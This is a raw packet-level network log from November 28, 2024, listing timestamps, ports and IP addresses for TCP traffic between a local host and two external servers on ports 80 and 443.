Nov 28, 2024 17:24:44.203598976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.203619957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.203795910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.204210043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.204358101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.204478979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.204536915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.216902018 CET	443	49864	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.216965914 CET	443	49864	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.217319012 CET	49864	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.217319012 CET	49864	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.217418909 CET	49864	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.217434883 CET	443	49864	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.220372915 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.220405102 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.220506907 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.220614910 CET	49872	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.220632076 CET	443	49872	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.308679104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.308821917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.308959961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.308979988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.309142113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.309571028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.309736013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.309957981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.310029984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.310106993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.310342073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.310604095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.310770988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.310925961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.310947895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.311211109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.311572075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.311728954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.311851978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.312177896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.312316895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.312342882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.312423944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.313014030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.313028097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.313090086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.313090086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.313607931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.313759089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.313777924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.313852072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.314471960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.314482927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.314645052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.314973116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.315134048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.315156937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.315506935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.315876007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.315888882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.315978050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.316576004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.316589117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.316649914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.316649914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.317137003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.317240000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.317403078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.317833900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.317975998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.317991972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.318190098 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.318563938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.318644047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.318710089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.318810940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.319322109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.319334030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.319461107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.319632053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.319644928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.319655895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.319669008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.319675922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.319803953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.319945097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.320019960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.320133924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.320684910 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.320894957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.321048975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.321362019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.321484089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.321589947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.322092056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.322170973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.322283030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.322808981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.322886944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.322907925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.325103998 CET	443	49866	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.325496912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.325630903 CET	49866	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.325645924 CET	443	49866	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.326679945 CET	49866	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.326684952 CET	443	49866	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.383460045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.383584976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.383794069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.383814096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.383929014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.384069920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.384485960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.384587049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.384687901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.385173082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.385360956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.385584116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.385914087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.386179924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.386198044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.386656046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.386676073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.387016058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.387034893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.387348890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.387475014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.387495041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.387619972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.388358116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.388497114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.388595104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.388744116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.388946056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.389055967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.389455080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.389832973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.390160084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.390166998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.390286922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.390330076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.390434027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.390991926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.391092062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.391343117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.391602993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.391699076 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.391721010 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.392322063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.392340899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.392447948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.392465115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.393024921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.393250942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.393268108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.393621922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.393717051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.393851995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.393956900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.394217014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.394449949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.394539118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.394613981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.394680023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.395153999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.395207882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.395230055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.395344019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.395893097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.395968914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.396039009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.396632910 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.396652937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.396833897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.396848917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.397316933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.397324085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.397450924 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.397593975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.397691011 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.398017883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.398085117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.398189068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.398718119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.398793936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.399110079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.399447918 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.399609089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.400029898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.400178909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.400269985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.400305986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.400875092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.400938988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.400958061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.401628971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.401730061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.401747942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.401761055 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.401786089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.402347088 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.402373075 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.402393103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.402476072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.402643919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.403067112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.403095961 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.403100967 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.403121948 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.403343916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.403531075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.403693914 CET	443	49869	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.403738976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.403836966 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.403877974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.404097080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.404097080 CET	49869	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.404126883 CET	443	49869	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.404525042 CET	49869	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:44.404531002 CET	443	49869	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:44.508584023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.508637905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.508764982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.508936882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.509063959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.509147882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.509241104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.509737968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.509752035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.510026932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.510401964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.510509968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.510643959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.511137009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.511354923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.511370897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.511620998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.511821032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.511898994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.511923075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.512072086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.512540102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.512624979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.512650967 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.513118982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.513266087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.513355970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.513384104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.513473034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.513966084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.514050007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.514107943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.514234066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.514651060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.514767885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.514790058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.515377045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.515496969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.515517950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.515713930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.516102076 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.516170979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.516192913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.516818047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.516879082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.516907930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.517008066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.517566919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.517658949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.517771959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.518218994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.518326044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.518572092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.518955946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.519005060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.519140959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.519643068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.519768000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.519790888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.520390034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.520469904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.520471096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.520550966 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.521090984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.521187067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.521398067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.521809101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.521882057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.521905899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.522500992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.522623062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.522629976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.522710085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.523250103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.523361921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.523449898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.524041891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.524096012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.524120092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.524182081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.524693012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.526990891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.585006952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.585099936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.585176945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.585308075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.585329056 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.585331917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.585356951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.585486889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.585982084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.586174965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.586244106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.586806059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.586910963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.587059975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.587423086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.587541103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.587681055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.587795019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.588113070 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.588206053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.588227987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.588664055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.588804007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.588918924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.588927984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.588980913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.589551926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.589672089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.589683056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.590243101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.590358973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.590383053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.590483904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.590936899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.591027975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.591048002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.591407061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:44.591670990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.591778994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:44.591801882 CET	49813	80	192.168.2.6	185.215.113.206
